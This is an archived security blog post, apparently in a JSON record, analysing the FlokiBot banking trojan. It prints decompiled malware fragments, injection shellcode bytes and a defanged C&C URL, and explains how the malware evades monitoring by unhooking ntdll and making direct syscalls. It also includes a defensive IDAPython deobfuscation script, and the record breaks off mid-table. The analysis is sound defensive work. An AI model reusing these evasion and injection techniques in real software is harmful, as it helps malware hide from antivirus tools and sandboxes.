{
	"id": "29123949-9cf8-4398-bd70-689caaea8545",
	"created_at": "2026-04-06T00:13:43.868652Z",
	"updated_at": "2026-04-10T03:31:13.119352Z",
	"deleted_at": null,
	"sha1_hash": "17b8339032349868b408e920faa78cf73f4792f7",
	"title": "Analyzing and Deobfuscating FlokiBot Banking Trojan - Security Blog",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 484508,
	"plain_text": "Analyzing and Deobfuscating FlokiBot Banking Trojan - Security\r\nBlog\r\nArchived: 2026-04-05 13:23:48 UTC\r\n14/03/2017\r\nTable of contents\r\nImports : Module / API Hashing \u0026 Syscalls\r\nExtracting Bots from Resources\r\nFull static deobfuscation with IDAPython\r\nStatic deobfuscation of API calls and hooks\r\nPoS malware feature : RAM Scraping\r\nIntroduction\r\nFlokiBot is a recent banking trojan targeting Europe and Brasil, sold as a malware kit for $1000 on some hacking\r\nforums. It is being spread via spam and exploit kits. Even though it is based on ZeuS, FlokiBot shows a lot of\r\ninteresting improvements, new features like RAM scraping, a custom dropper, and seems to have borrowed some\r\nlines of code from the Carberp leak.\r\nFlokiBot and its dropper have many both standard and uncommon obfuscation techniques, we will focus on\r\ndemystifying them and showing how to deobfuscate them statically using IDA and IDAPython scripts. Since you\r\nfind most of these techniques in a lot of recent malwares, I think it's a good exercise.\r\nI decided to take a look at FlokiBot after reading about its dropper in this nice article by @hasherezade :\r\nhttps://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/. While most articles on\r\nFlokiBot focus on its dropper, I will also try to get into a bit more details and talk about the FlokiBot payload ; we\r\nwill see that it has some interesting features and is not your usual ZeuS rip-off, even though most of the code\r\ncomes from the ZeuS and the Carberp leaks. Still better than reversing ransomware anyway.\r\nHashes :\r\n$ rahash2 -a md5,sha1,sha256 -qq floki_dropper.vir\r\n37768af89b093b96ab7671456de894bc\r\n5ae4f380324ce93243504092592c7b275420a338\r\n4bdd8bbdab3021d1d8cc23c388db83f1673bdab44288fccae932660eb11aec2a\r\n$ rahash2 -a md5,sha1,sha256 -qq floki_payload32.vir\r\nda4ea4e44ea3bb65e254b02b2cbc67e8\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 1 of 32\n\ne8542a465810ff1396a316d1c46e96e042bf4189\r\n9f1d2d251f693787dfc0ba8e64907e204f3cf2c7320f66007106caac0424a1f3\r\nAutomated analysis of the dropper :\r\nVirusTotal Analysis, Hybrid-Analysis\r\nFlokiBot Dropper\r\nImports : Module / API Hashing \u0026 Syscalls\r\nThe dropper loads its modules by hashing library names and comparing them with hardcoded hashes. The hashing\r\nprocess consists in a basic CRC32 that is then XORed with a two bytes key, different for each sample. Two\r\nmethods were implemented to retrieve dll names : using the Process Environment Block to go through the\r\nInMemoryOrderModuleList struct and reading the BaseDllName field in order to get the names of the dll already\r\nloaded by the process, and by listing libraries in the Windows system folder.\r\nThe following modules were imported by the dropper :\r\nCRC Library Method\r\n------------------------------------------------------\r\n84C06AAD ntdll.dll load_imports_peb\r\n6AE6ABEF kernel32.dll load_imports_peb\r\n2C2B3C88\r\n948B9CAB\r\nC7F4511A wininet.dll load_imports_folder\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 2 of 32\n\nF734DCF8 ws2_32.dll load_imports_folder\r\nF16EE30D advapi32.dll load_imports_folder\r\nC8A18E35 shell32.dll load_imports_folder\r\nE20BF2CB shlwapi.dll load_imports_folder\r\n1A50B19C secur32.dll load_imports_folder\r\n630A1C77 crypt32.dll load_imports_folder\r\n0248AE46 user32.dll load_imports_peb\r\nBD00960A\r\n4FF44795 gdi32.dll load_imports_peb\r\nE069944C ole32.dll load_imports_folder\r\nCAAD3C25\r\nThen, FlokiBot does the exact same routine to locate and load which API it needs in those modules. First, it\r\nretrieves the address of LdrGetProcedureAddress in ntdll and uses it to get a handle to other API when the CRC\r\nof the names match. By doing so, only addresses of functions are visible to a debugger, making the analysis of the\r\ncode pretty tough since we are not able to see which API are being called. A way to deobfuscate this is shown\r\nbelow, in the next part.\r\nAnother interesting thing by FlokiBot and the dropper is the way they call some functions of the native API. These\r\nfunctions are located in ntdll and have Nt* or Zw* prefixes. They are a bit different than other API in their\r\nimplementation, as they make use of syscalls and more particularly the int 0x2e . The following screenshot\r\nshows how they are implemented in ntdll :\r\nAs we can see, the syscall value is put in eax (0x15 for NtAllocateVirtualMemory on my Windows 7 64-bit)\r\nand arguments are passed through edx . A full list of those syscall numbers for x86 and 64-bit Windows can be\r\nfound on this page : http://j00ru.vexillium.org/ntapi/.\r\nWhile going through all API in ntdll, FlokiBot will check if the first opcode of the function is 0xB8 = MOV\r\nEAX, . When it is the case and the CRC of the API name matches, it will extract the 4 bytes following the MOV\r\nEAX, corresponding to the syscall number and store it in an array we call dwSyscallArray .\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 3 of 32\n\nHere is what dwSyscallArray looked like on my VM, after all the syscall numbers were extracted by the dropper\r\n:\r\nIndex API Syscall number\r\n-------------------------------------------------------\r\n0x0 NtCreateSection 0x47\r\n0x1 NtMapViewOfSection 0x25\r\n0x2 NtAllocateVirtualMemory 0x15\r\n0x3 NtWriteVirtualMemory 0x37\r\n0x4 NtProtectVirtualMemory 0x4D\r\n0x5 NtResumeThread 0x4F\r\n0x6 NtOpenProcess 0x23\r\n0x7 NtDuplicateObject 0x39\r\n0x8 NtUnmapViewOfSection 0x27\r\nWhenever FlokiBot needs to call one of these native functions, it will call its own functions that directly retrieve\r\nthe syscall number from the dwSyscallArray, pass arguments and trigger the interrupt 0x2E the same way it is\r\nimplemented in ntdll. This is why you won't see any call traces of these API and monitoring tools that hook them\r\nwill be unable to monitor the calls.\r\nDeobfuscating API Calls\r\nSince the same functions and structures are used in the FlokiBot payload, you can refer to the \"Full static\r\ndeobfuscation with IDAPython\" part below and easily adapt the provided IDAPython script to deobfuscate API\r\ncalls in the dropper.\r\nUnhooking modules\r\nAn interesting feature of FlokiBot is that both the dropper and the payloads have an unhooking routine. The idea is\r\nto uninstall hooks written by monitoring tools, sandboxes and AV. Even though this is not the first time a malware\r\nuses such a feature, Carberp had one to hide from Trusteer Rapport and Carbanak more recently for example, it is\r\npretty rare and worth noticing. In this part I will describe how FlokiBot performs unhooking.\r\nFirst, FlokiBot gets a handle to the ntdll.dll file on disk by listing dlls in System32 folder and using the\r\nhashing process we explained above, and maps it in memory by calling MapViewOfFile . As a result, FlokiBot has\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 4 of 32\n\ntwo versions of the lib mapped in its memory : the one it imported during the importing phase and that monitoring\r\ntools may have altered with hooks, and the one it just mapped directly from disk which is clean.\r\nNTDLL mapped from disk - Clean version\r\nNTDLL imported by the dropper - Potentially hooked\r\nNow that the correct permissions are set, FlokiBot pushes the address of the code section of the mapped clean\r\nDLL and the imported one and calls its unhooking routine.\r\nSince it needs to overwrite some data in its memory to delete the hooks, the malware has to change memory\r\nprotections of the imported NTDLL code export section. It does so by calling NtProtectVirtualMemory with an\r\nint 0x2E and the corresponding syscall it previously extracted ( 0x4D on my version of Windows). We can see\r\nthat a part of the code section becomes writable if a hook is spotted :\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 5 of 32\n\nThe unhooking function can be described with these three steps : For each exported function in NTDLL...\r\nComparing the first opcodes of the two mapped lib\r\nIf they differ, it means the function in the imported ntdll was hooked\r\nChanging memory protections of the imported dll to writable\r\nPatching the opcodes with the ones copied form the DLL mapped from disk\r\nThe main part of the routine is shown below :\r\nAs a consequence, most monitoring tools, AV and sandboxes will fail to keep track of the malware calls. This is\r\nparticularly useful if you want to avoid automated analysis from online sandboxes like malwr.com.\r\nExtracting Bots from Resources\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 6 of 32\n\nThe dropper has 3 resources with explicit names : key , bot32 and bot64 . Bots are compressed with\r\nRtlCompressBuffer() and LZNT1, and encrypted with RC4 using the 16 bytes key key . For my sample, the\r\nkey is :\r\nA3 40 75 AD 2E C4 30 23 82 95 4C 89 A4 A7 84 00\r\nYou can find a Python script to dump the payloads and their config on the Talos Group Github here :\r\nhttps://github.com/vrtadmin/flokibot. Note that they don't execute properly on their own since they are supposed\r\nto be injected in a process and need some data written in memory by the dropper. We will describe this injection in\r\nthe next part.\r\nResources are extracted the usual way :\r\nBOOL __userpurge extract_bot_from_rsrc@\u003ceax\u003e(int a1@\u003cedi\u003e, HMODULE hModule)\r\n{\r\n HRSRC v2; // eax@1\r\n int v3; // eax@2\r\n const void *v4; // esi@5\r\n HRSRC v5; // eax@7\r\n int v6; // eax@8\r\n HRSRC v7; // eax@10\r\n unsigned int v8; // eax@11\r\n int v10; // [sp+4h] [bp-4h]@1\r\n v10 = 0;\r\n v2 = FindResourceW(hModule, L\"key\", (LPCWSTR)0xA);\r\n if ( v2 )\r\n v3 = extract_rsrc(hModule, (int)\u0026v10, v2);\r\n else\r\n v3 = 0;\r\n if ( v3 )\r\n {\r\n v4 = (const void *)v10;\r\n if ( v10 )\r\n {\r\n qmemcpy((void *)(a1 + 84), (const void *)v10, 0x10u);\r\n free_heap(v4);\r\n }\r\n }\r\n v5 = FindResourceW(hModule, L\"bot32\", (LPCWSTR)0xA);\r\n if ( v5 )\r\n v6 = extract_rsrc(hModule, a1 + 4, v5);\r\n else\r\n v6 = 0;\r\n *(_DWORD *)(a1 + 12) = v6;\r\n v7 = FindResourceW(hModule, L\"bot64\", (LPCWSTR)0xA);\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 7 of 32\n\nif ( v7 )\r\n v8 = extract_rsrc(hModule, a1 + 8, v7);\r\n else\r\n v8 = 0;\r\n *(_DWORD *)(a1 + 16) = v8;\r\n return *(_DWORD *)(a1 + 4) \u0026\u0026 *(_DWORD *)(a1 + 12) \u003e 0u \u0026\u0026 *(_DWORD *)(a1 + 8) \u0026\u0026 v8 \u003e 0;\r\n}\r\nProcess Injection\r\nThe dropper doesn't inject its payload into explorer.exe (or svchost.exe if it fails) the usual way, with\r\nNtMapViewOfSection and NtWriteVirtualMemory . Instead, it writes and executes a shellcode that will decrypt\r\nand decompress the payload inside the process memory. That's unusual and interesting. The dropping process is\r\nsummed up by this picture by Talos Intelligence :\r\n1. The Dropper writes a trampoline shellcode and one of its own function in explorer.exe / svchost.exe\r\n2. When executed, this trampoline will call the function\r\n3. This function was written to run on its own and dynamically resolve imports, read the resources of the\r\ndropper and extract them in its process memory (ie. inside the address space of explorer.exe /\r\nsvchost.exe )\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 8 of 32\n\n4. Finally, the Dropper executes the entrypoint of the bot payload in the target process\r\nThe first shellcode written in explorer.exe (called trampoline) will sleep for 100 ms. and then call a function\r\nthat the dropper mapped in the process memory at 0x80000000 , called sub_405E18 by default in the dropper.\r\nThis second stage is the one responsible of extracting the bot payloads, decrypting and uncompressing them. All\r\nthis happens in explorer.exe / svchost.exe memory.\r\n$ rasm2 -a x86 -b 32 -D '558BEC51C745FCFF10B4766864000000FF55FCC745FC000008006800000900FF55FC83C4048BE55DC3'\r\n0x00000000 1 55 push ebp\r\n0x00000001 2 8bec mov ebp, esp\r\n0x00000003 1 51 push ecx\r\n0x00000004 7 c745fcff10b476 mov dword [ebp - 4], 0x76b410ff ; address of sleep()\r\n0x0000000b 5 6864000000 push 0x64\r\n0x00000010 3 ff55fc call dword [ebp - 4] ; sleep()\r\n0x00000013 7 c745fc00000800 mov dword [ebp - 4], 0x80000\r\n0x0000001a 5 6800000900 push 0x90000\r\n0x0000001f 3 ff55fc call dword [ebp - 4] ; sub_405E18, 2nd stage\r\n0x00000022 3 83c404 add esp, 4\r\n0x00000025 2 8be5 mov esp, ebp\r\n0x00000027 1 5d pop ebp\r\n0x00000028 1 c3 ret\r\nsub_405E18 will resolve its imports by the same process as the dropper and the payload, using a slightly different\r\ncrc32 and a new XOR key.\r\nint __stdcall sub_405E18(int a1)\r\n{\r\n [...]\r\n if ( a1 \u0026\u0026 *(_DWORD *)(a1 + 4) \u0026\u0026 *(_DWORD *)a1 != -1 )\r\n {\r\n v1 = 0;\r\n v34 = 0i64;\r\n v35 = 0i64;\r\n v36 = 0i64;\r\n do /* CRC Polynoms */\r\n {\r\n v2 = v1 \u003e\u003e 1;\r\n if ( v1 \u0026 1 )\r\n v2 ^= 0xEDB88320;\r\n if ( v2 \u0026 1 )\r\n v3 = (v2 \u003e\u003e 1) ^ 0xEDB88320;\r\n else\r\n v3 = v2 \u003e\u003e 1;\r\n [...]\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 9 of 32\n\nif ( v8 \u0026 1 )\r\n v9 = (v8 \u003e\u003e 1) ^ 0xEDB88320;\r\n else\r\n v9 = v8 \u003e\u003e 1;\r\n v40[v1++] = v9;\r\n }\r\n while ( v1 \u003c 0x100 );\r\n v10 = shellcode_imp_dll((int)v40, 0x6AE6AF84);\r\n v11 = shellcode_imp_dll((int)v40, 0x84C06EC6);\r\n v30 = v12;\r\n v13 = v11;\r\n LODWORD(v34) = shellcode_imp_api(v10, (int)v40, 0x9CE3DCC);\r\n DWORD1(v34) = shellcode_imp_api(v10, (int)v40, 0xDF2761CD);\r\n DWORD2(v34) = shellcode_imp_api(v10, (int)v40, 0xF7C79EC4);\r\n LODWORD(v35) = shellcode_imp_api(v10, (int)v40, 0xCD53C55B);\r\n DWORD1(v36) = shellcode_imp_api(v10, (int)v40, 0xC97C2F79);\r\n LODWORD(v36) = shellcode_imp_api(v10, (int)v40, 0x3FC18D0B);\r\n DWORD2(v36) = shellcode_imp_api(v13, (int)v40, 0xD09F7D6);\r\n DWORD1(v35) = shellcode_imp_api(v13, (int)v40, 0x9EEE7B06);\r\n DWORD2(v35) = shellcode_imp_api(v13, (int)v40, 0xA4160E3A);\r\n DWORD3(v35) = shellcode_imp_api(v13, (int)v40, 0x90480F70);\r\n DWORD3(v36) = shellcode_imp_api(v13, (int)v40, 0x52FE165E);\r\n v14 = ((int (__stdcall *)(_DWORD, _DWORD, signed int, signed int))v34)(0, *(_DWORD *)(a1 + 8), 0x3000, 64);\r\n \r\n [...]\r\n}\r\nThe first hashes, 0x6AE6AF84 and 0x84C06EC6 , are most probably the hashes of 'kernel32.dll' and 'ntdll.dll'. I\r\nimplemented the hashing process in Python, verified that the two imported DLL are indeed kernel32 and ntdll, and\r\nadapted my Python script to parse their export table and try to resolve the API names the function is importing. I\r\nran the script and got the following API :\r\nPython\u003erun\r\n[+] kernel32.dll (6AE6AF84) : Parsing...\r\n0x09CE3DCC --\u003e VirtualAlloc\r\n0xDF2761CD --\u003e OpenProcess\r\n0xF7C79EC4 --\u003e ReadProcessMemory\r\n0xCD53C55B --\u003e VirtualFree\r\n0xC97C2F79 --\u003e GetProcAddress\r\n0x3FC18D0B --\u003e LoadLibraryA\r\n[+] ntdll.dll (84C06EC6) : Parsing...\r\n0x0D09F7D6 --\u003e NtClose\r\n0x9EEE7B06 --\u003e NtCreateSection\r\n0xA4160E3A --\u003e NtMapViewOfSection\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 10 of 32\n\n0x90480F70 --\u003e NtUnmapViewOfSection\r\n0x52FE165E --\u003e RtlDecompressBuffer\r\nWith these functions, the code inside the process is able to read the resources (bots \u0026 RC4 key) of the dropper and\r\nmap the payload in memory. Finally, the context of the suspended remote thread is modified so that its EIP\r\npoints on the first shellcode, and the thread is resumed.\r\nExecution Flow Graph\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 11 of 32\n\nFlokiBot Payload\r\nThe payload is based on the well-known and already analyzed ZeuS trojan so I won't detail everything. As for the\r\ndropper, I will focus on the deobfuscating parts and the improvements implemented in FlokiBot.\r\nConfig\r\nI ran the ConfigDump.py script that the Talos team released and got the following C\u0026C :\r\n$ python ConfigDump.py payload_32.vir\r\nSuccessfully dumped config.bin.\r\nURL: https://extensivee[.]bid/000L7bo11Nq36ou9cfjfb0rDZ17E7ULo_4agents/gate[.]php\r\nFull static deobfuscation with IDAPython\r\nIdentifying functions\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 12 of 32\n\nFirst, we notice some important functions of the payload being reused from the dropper. Producing a Rizzo\r\nsignature of the dropper and loading it in the payload allow IDA to identify and rename quite a few functions.\r\nStatic deobfuscation of API calls and hooks\r\nThe idea is to reimplement the hashing process in Python, hash all API exported by the DLL FlokiBot loads, and\r\nthen compare them with the hashes we collected in the code. If there is a match, we use IDAPython to rename the\r\nfunction, making the disassembly more and more readable. The payload uses the same CRC function and the same\r\nXOR key, so the script will work for both of them.\r\nStrings deobfuscation\r\nMost of the interesting strings are encrypted using a XOR with their own one-byte key, which is similar to what\r\nZeuS or Fobber (Tinba evolution) used. The malware stores an array of all ENCRYPTED_STRING structures and\r\ndeobfuscates them on-the-fly by their index. An encrypted string is represented by the following structure :\r\ntypedef struct {\r\n char xor_key;\r\n WORD size;\r\n void* strEncrypted;\r\n} ENCRYPTED_STRING;\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 13 of 32\n\nFirst, I ran a short script to list how parameters of decrypt_string were pushed on the stack to figure out how to\r\nretrieve them without errors.\r\nAfter running our script, here is an example of how the disassembly looks in IDA :\r\nFull IDAPython script\r\nHere is the full Python script I wrote to deobfuscate the payload :\r\nhttps://gist.github.com/adelmas/8c864315648a21ddabbd6bc7e0b64119.\r\nIt is based on IDAPython and PeFile. It was designed for static analysis, you don't have to start any debugger for\r\nthe script to work. It does the following :\r\nIdentifies all functions imported by the bot and rename them [API name]_wrap\r\nParses the WINAPIHOOK structure and renames the hook functions hook_[API name]\r\nDecrypts strings and put their decrypted values in comments where the decrypt_string function is called\r\n# coding: utf-8\r\n# ====================================================== #\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 14 of 32\n\n# #\r\n# FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT #\r\n# #\r\n# http://adelmas.com/blog/flokibot.php #\r\n# #\r\n# ====================================================== #\r\n# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot.\r\n# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in\r\ncomments, without using any debugger.\r\n# May take a few minutes to resolve imports.\r\n# Works with FlokiBot dropper with some small changes.\r\nimport sys\r\n# sys.path.append(\"/usr/local/lib/python2.7/dist-packages\")\r\n# idaapi.enable_extlang_python(True)\r\nimport pefile\r\n# RunPlugin(\"python\", 3)\r\nCRC_POLY = 0xEDB88320 # Depending on sample\r\nXOR_KEY = 0x34ED # Depending on sample\r\nARRAY_ADDR = 0x41B350 # Depending on sample\r\nARRAY_ITER = 12 # Size of a triplet (3*sizeof(DWORD))\r\ni = 0\r\n# ----------------------------------------------------\r\n# Generating CRC polynoms\r\n# ----------------------------------------------------\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 15 of 32\n\npoly = []\r\nwhile i \u003c 256:\r\nsize = 8\r\nb = i\r\nwhile size != 0:\r\nif b \u0026 1:\r\nb = (b \u003e\u003e 1) ^ CRC_POLY\r\nelse:\r\nb \u003e\u003e= 1\r\nsize -= 1\r\npoly.insert(i, b)\r\ni += 1\r\n# ----------------------------------------------------\r\n# FlokiBot CRC32\r\n# ----------------------------------------------------\r\ndef crc32(name):\r\nname_len = len(name)\r\ni = 0\r\ncrc = 0xFFFFFFFF\r\nwhile i \u003c name_len:\r\ncrc = poly[(crc ^ ord(name[i])) \u0026 0xFF] ^ (crc \u003e\u003e 8)\r\ni += 1\r\ncrc = (~crc) \u0026 0xFFFFFFFF\r\nreturn crc\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 16 of 32\n\n# ----------------------------------------------------\r\n# DEOBFUSCATING API CALLS\r\n# ----------------------------------------------------\r\narray_dll = ['ntdll', 'kernel32', 'wininet', 'ws2_32', 'advapi32', 'secur32', 'crypt32',\r\n'shlwapi', 'ole32', 'gdi32', 'shell32', 'user32', 'urlmon' #, 'nss3', 'nspr4', 'chrome'\r\n]\r\ndll_hash = {}\r\nfor dll in array_dll:\r\nh = crc32(dll + '.dll') ^ XOR_KEY\r\ndll_hash[h] = dll\r\nprint \"[+] %s.dll (%X) : Parsing...\" % (dll, h)\r\npe = pefile.PE(\"C:\\\\Windows\\\\System32\\\\\" + dll + \".dll\")\r\napi_hash = {}\r\npe.parse_data_directories()\r\nfor exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:\r\nif exp.name:\r\napi_crc = crc32(exp.name) ^ XOR_KEY\r\napi_hash[api_crc] = exp.name\r\nnb = 0\r\nfor i in range(0, 287):\r\nea_name = (ARRAY_ADDR + i*ARRAY_ITER)\r\nea_func = Dword(ea_name)\r\nea_crc = ea_name + 4\r\nMakeDword(ea_crc)\r\ncrc = Dword(ea_crc)\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 17 of 32\n\nif crc in api_hash:\r\nif MakeName(ea_func, api_hash[crc]+\"_wrap\"):\r\nnb += 1\r\nprint \"[+] %s : Resolved %d API names\" % (dll, nb)\r\n# ----------------------------------------------------\r\n# PARSING HOOK STRUCT\r\n# ----------------------------------------------------\r\nsid = AddStruc(-1, 'HOOKWINAPI')\r\nAddStrucMember(sid, 'functionForHook', 0, FF_DWRD|FF_DATA, -1, 4)\r\nAddStrucMember(sid, 'hookerFunction', 4, FF_DWRD|FF_DATA, -1, 4)\r\nAddStrucMember(sid, 'originalFunction', 8, FF_DWRD|FF_DATA, -1, 4)\r\nAddStrucMember(sid, 'originalFunctionSize', 12, FF_DWRD|FF_DATA, -1, 4)\r\nAddStrucMember(sid, 'dllHash', 16, FF_DWRD|FF_DATA, -1, 4)\r\nAddStrucMember(sid, 'apiHash', 20, FF_DWRD|FF_DATA, -1, 4)\r\nHOOKWINAPI_EA = 0x41B000\r\nHOOKWINAPI_SIZE = 0x18\r\nea = HOOKWINAPI_EA\r\nMakeName(HOOKWINAPI_EA, \"hookWinApi_array\")\r\nprint \"Parsing hook table @ 0x%X\" % HOOKWINAPI_EA\r\nfor i in range(0, 25):\r\nfor field in range(0, 6):\r\nMakeDword(ea+4*field)\r\nfn_name = Name(Dword(ea))\r\nhook_ea = Dword(ea+4)\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 18 of 32\n\nMakeName(hook_ea, \"hook_\" + fn_name)\r\nhook_name = Name(Dword(ea+4))\r\nori_ea = ea+8\r\nMakeName(ori_ea, \"ori_\" + fn_name)\r\nprint \"[+] Hook on %s \\t--\u003e %s\" % (fn_name, hook_name)\r\nea += HOOKWINAPI_SIZE\r\n# ----------------------------------------------------\r\n# STRING DEOBFUSCATION\r\n# ----------------------------------------------------\r\nDECRYPT_FN_EA = 0x403948 # Depending on sample\r\nENCRYPTED_STRINGS_EA = 0x402278 # Depending on sample\r\nDECRYPT_FN = \"decrypt_string\"\r\nENCRYPTED_STRINGS = \"encrypted_strings\"\r\nARRAY_SIZE = 0x77 # Depending on sample\r\ndecrypted_strings = {}\r\ndef backwardSearch(ea, instr):\r\nwhile True:\r\nea = PrevHead(ea)\r\nif GetMnem(ea) == instr:\r\nreturn ea\r\ndef decrypt_string(index, ea_encrypted):\r\nstring = \"\"\r\nif index == -1:\r\nstring = \"Invalid index\"\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 19 of 32\n\nreturn string\r\nencr_array = LocByName(ea_encrypted)\r\nif encr_array == 0xFFFFFFFF:\r\nstring = \"Invalid array for encrypted strings\"\r\nreturn string\r\nea_item = encr_array + index*2*4\r\nxor_k = Byte(ea_item)\r\nsize = Word(ea_item+2)\r\nptr_string = Dword(ea_item + 4)\r\nMakeByte(ptr_string)\r\nMakeArray(ptr_string, size)\r\n#print \"[%d] %X %X %X\" % (index, xor_k, size, ptr_string)\r\ni = 0\r\nif size \u003c= 0:\r\nstring = \"Size \u003c= 0\"\r\nreturn string\r\nwhile i \u003c size:\r\nichr = i\r\nstring += str(unichr((i ^ xor_k ^ Byte(ptr_string + i)) \u0026 0xFF))\r\ni += 1\r\nMakeComm(ptr_string, string) # Add comments with decrypted strings in the array\r\nreturn string\r\n# ----------------------------------------------------\r\n# Decrypting and commenting whole array\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 20 of 32\n\n# ----------------------------------------------------\r\nMakeName(DECRYPT_FN_EA, DECRYPT_FN)\r\nMakeName(ENCRYPTED_STRINGS_EA, ENCRYPTED_STRINGS)\r\ni = 0\r\nloc = LocByName(DECRYPT_FN)\r\nfor ea in range(loc, loc+ARRAY_SIZE):\r\ndecrypted_strings[i] = decrypt_string(i, ENCRYPTED_STRINGS)\r\ni += 1\r\nprint \"[+] Decrypted %d strings :\" % (i)\r\nprint decrypted_strings\r\n# ----------------------------------------------------\r\n# Commenting calls to decryption function with decrypted strings\r\n# ----------------------------------------------------\r\ni = 0\r\nfor xref in XrefsTo(LocByName(DECRYPT_FN)):\r\nea = xref.frm\r\nmnem = GetMnem(PrevHead(ea))\r\nindex = 0\r\nif mnem == \"xor\":\r\nindex = 0\r\nelif mnem == \"pop\":\r\nea = backwardSearch(ea, \"push\")\r\nindex = GetOperandValue(ea, 0)\r\nelif mnem == \"inc\":\r\nindex = 1\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 21 of 32\n\nelif mnem == \"mov\":\r\nindex = GetOperandValue(ea, 1)\r\n#print \"Index : 0x%X\" % (index)\r\nif index in decrypted_strings:\r\nMakeComm(xref.frm, decrypted_strings[index])\r\ni += 1\r\nprint \"[+] Commented %d strings with decrypted values\" % (i)\r\nprint \"[+] Script is done.\"\r\nPersistence\r\nThe bot copies itself to C:\\Documents and Settings\\[username]\\Application Data under a pseudo-random\r\nname and achieves Persistence by creating a .lnk in the Windows startup folder.\r\nint startup_lnk() {\r\n int v0; // edi@1\r\n _WORD *v1; // ecx@1\r\n int v2; // eax@2\r\n _WORD *v3; // ecx@2\r\n const void *v4; // eax@2\r\n const void *v5; // esi@3\r\n int strStartupFolder; // [sp+8h] [bp-20Ch]@1\r\n int v8; // [sp+210h] [bp-4h]@6\r\n v0 = 0;\r\n SHGetFolderPathW_wrap(0, 7, 0, 0, \u0026strStartupFolder); // 7 = CSIDL_STARTUP\r\n v1 = (_WORD *)PathFindFileNameW_wrap(\u0026pFilename);\r\n if ( v1 \u0026\u0026 (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )\r\n v5 = v4;\r\n else\r\n v5 = 0;\r\n if ( v5 ) {\r\n v8 = 0;\r\n if ( build_lnk((int)\u0026v8, (const char *)L\"%s\\\\%s.lnk\", \u0026strStartupFolder, v5) \u003e 0 )\r\n v0 = v8;\r\n cstm_FreeHeap(v5);\r\n }\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 22 of 32\n\nreturn v0;\r\n}\r\nAPI Hooking\r\nOverview\r\nBased on ZeuS, FlokiBot uses the same kind of structure array to store its hooks, with a slightly different structure\r\n:\r\ntypedef struct\r\n{\r\n void *functionForHook;\r\n void *hookerFunction;\r\n void *originalFunction;\r\n DWORD originalFunctionSize;\r\n DWORD dllHash;\r\n DWORD apiHash;\r\n} HOOKWINAPI;\r\nAfter we ran the previous script to deobfuscate API calls and after we located the address of the hook structure\r\narray, we could easily parse it with another small IDA script to identify and name the hook functions ( hook_* ).\r\nWe end up with the following table :\r\nParsing hook table @ 0x41B000...\r\nOriginal Function Hooked Hooker Function DLL Hash API Hash\r\n-------------------------------------------------------------------------------------------------------------\r\nNtProtectVirtualMemory_wrap hook_NtProtectVirtualMemory_wrap 84C06AAD (ntdll) 5C2D2E7A\r\nNtResumeThread_wrap hook_NtResumeThread_wrap 84C06AAD (ntdll) 6273819F\r\nLdrLoadDll_wrap hook_LdrLoadDll_wrap 84C06AAD (ntdll) 18364D1F\r\nNtQueryVirtualMemory_wrap hook_NtQueryVirtualMemory_wrap 84C06AAD (ntdll) 03F6C761\r\nNtFreeVirtualMemory_wrap hook_NtFreeVirtualMemory_wrap 84C06AAD (ntdll) E9D6FAB3\r\nNtAllocateVirtualMemory_wrap hook_NtAllocateVirtualMemory_wrap 84C06AAD (ntdll) E0761B06\r\nHttpSendRequestW_wrap hook_HttpSendRequestW_wrap C7F4511A (wininet) 0BD4304A\r\nHttpSendRequestA_wrap hook_HttpSendRequestA_wrap C7F4511A (wininet) FF00851B\r\nHttpSendRequestExW_wrap hook_HttpSendRequestExW_wrap C7F4511A (wininet) AAB98346\r\nHttpSendRequestExA_wrap hook_HttpSendRequestExA_wrap C7F4511A (wininet) 5E6D3617\r\nInternetCloseHandle_wrap hook_InternetCloseHandle_wrap C7F4511A (wininet) E51929C9\r\nInternetReadFile_wrap hook_InternetReadFile_wrap C7F4511A (wininet) 6CC0AC18\r\nInternetReadFileExA_wrap hook_InternetReadFileExA_wrap C7F4511A (wininet) FEDE53D9\r\nInternetQueryDataAvailable_wrap hook_InternetQueryDataAvailable_wrap C7F4511A (wininet) 1AF94509\r\nHttpQueryInfoA_wrap hook_HttpQueryInfoA_wrap C7F4511A (wininet) 02B5094B\r\nclosesocket_wrap hook_closesocket_wrap F734DCF8 (ws2_32) A5C6E39A\r\nsend_wrap hook_send_wrap F734DCF8 (ws2_32) A7730E20\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 23 of 32\n\nWSASend_wrap hook_WSASend_wrap F734DCF8 (ws2_32) B2927DE5\r\nTranslateMessage_wrap hook_TranslateMessage_wrap 0248AE46 (user32) 5DD9FAF9\r\nGetClipboardData_wrap hook_GetClipboardData_wrap 0248AE46 (user32) 1DCBE5AA\r\nPFXImportCertStore_wrap hook_PFXImportCertStore_wrap 1A50B19C (secur32) E0991FE4\r\nPR_OpenTCPSocket_wrap hook_PR_OpenTCPSocket_wrap 948B9CAB (nss3) 3B8AA62A\r\nPR_Close_wrap hook_PR_Close_wrap 948B9CAB (nss3) 